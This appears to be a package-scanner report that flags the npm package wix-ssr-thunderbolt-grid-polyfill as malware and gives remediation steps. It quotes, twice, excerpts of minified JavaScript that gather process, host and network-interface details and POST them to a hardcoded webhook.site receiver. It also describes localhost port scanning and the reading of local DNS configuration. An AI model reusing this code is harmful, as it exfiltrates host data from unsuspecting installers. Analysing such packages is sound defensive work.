registry / Data exfiltration / wix-ssr-thunderbolt-grid-polyfill
wix-ssr-thunderbolt-grid-polyfill
Security research PoC - Wix SSR manifest injection test
This report shows the evidence for wix-ssr-thunderbolt-grid-polyfill@0.1.0, the only known version.
AI Security Review
scanned 16d ago · by lpm-firewall-aiThe manifest activates bundles that collect host and local service information and send data to a fixed external receiver. This is active data exfiltration, so the package is malicious.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Loading the Wix manifest's model or bootstrap bundles.
Impact
Host and local service information is disclosed to an external receiver.
Mechanism
The model collects process and network-interface details, reads local network configuration, scans common localhost ports, and posts results to webhook.site. The bootstrap bundle also sends requests to that host.
Attack narrative
When the Wix manifest loads its model and bootstrap bundles, they run requests to a fixed webhook.site receiver. The model gathers runtime and host details, reads local network configuration, and probes common localhost ports before sending collected results. This creates an active host data exfiltration path.
AI rationale
The manifest activates bundles that collect host and local service information and send data to a fixed external receiver. This is active data exfiltration, so the package is malicious.
Evidence
rb_wixui.thunderbolt.manifest.min.jsondist/poc-model.bundle.min.jsdist/poc-bootstrap.bundle.min.js
Network endpoints2
webhook.site/69bcd627-1871-4dda-b880-83b37ceac418127.0.0.1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The referenced model bundle collects runtime and host details, including environment data and network interfaces.
- The model bundle sends collected results to a fixed webhook.site endpoint.
- The model reads local host and DNS configuration files.
- The bootstrap bundle makes requests to the same external receiver.
- The Wix manifest loads the model bundle and bootstrap bundle.
Evidence against
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsMinifiedUrlStrings
NoLicense
Source & flagged code
5 flagged · loading sourcedist/poc-model.bundle.min.jsView file
2Source sends the broad process environment to a literal external destination.
L2: try{
L3: var WH="https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418";
L4: var h=require("https");
...
L11: try{
L12: d.env={node:process.version,cwd:process.cwd(),hostname:process.env.HOSTNAME||"?",pod:process.env.POD_IP||"?",uid:process.getuid?process.getuid():"?",ifaces:os.networkInterfaces()};
L13: }catch(e){d.envErr=e.message}
...
L24: var r=h.request({hostname:"webhook.site",port:443,path:"/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-recon-v3",method:"POST",headers:{"Content-Type":"application/json","Content-Le...
L25: r.write(body);r.end();
L26: }catch(e){}
...
L41: res.on("end",function(){
L42: var body=Buffer.concat(chunks).toString("utf8").substring(0,500);
L43: results[results.length-1].resp
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/poc-model.bundle.min.jsView on unpkg · L22try{
L3: var WH="https://webhook.site/69bcd627-1871-4dda-b880-83b37ceac418";
L4: var h=require("https");
...
L11: try{
L12: d.env={node:process.version,cwd:process.cwd(),hostname:process.env.HOSTNAME||"?",pod:process.env.POD_IP||"?",uid:process.getuid?process.getuid():"?",ifaces:os.networkInterfaces()};
L13: }catch(e){d.envErr=e.message}
...
L24: var r=h.request({hostname:"webhook.site",port:443,path:"/69bcd627-1871-4dda-b880-83b37ceac418?src=ssr-recon-v3",method:"POST",headers:{"Content-Type":"application/json","Content-Le...
L25: r.write(body);r.end();
L26: }catch(e){}
...
L41: res.on("end",function(){
L42: var body=Buffer.concat(chunks).toString("utf8").substring(0,500);
L43: results[results.length-1].response={status:res.statusCode,headers:JSON.parse(JSON.stringify(res.headers)),bo
Findings
2 Critical3 High3 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/poc-model.bundle.min.js
CriticalCredential Exfiltrationdist/poc-model.bundle.min.js
HighHost Fingerprint Exfiltrationdist/poc-model.bundle.min.js
HighAi Review Evidencedist/poc-model.bundle.min.js
HighAi Review Evidencedist/poc-model.bundle.min.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to wix-ssr-thunderbolt-grid-polyfill@0.1.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing wix-ssr-thunderbolt-grid-polyfill@0.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.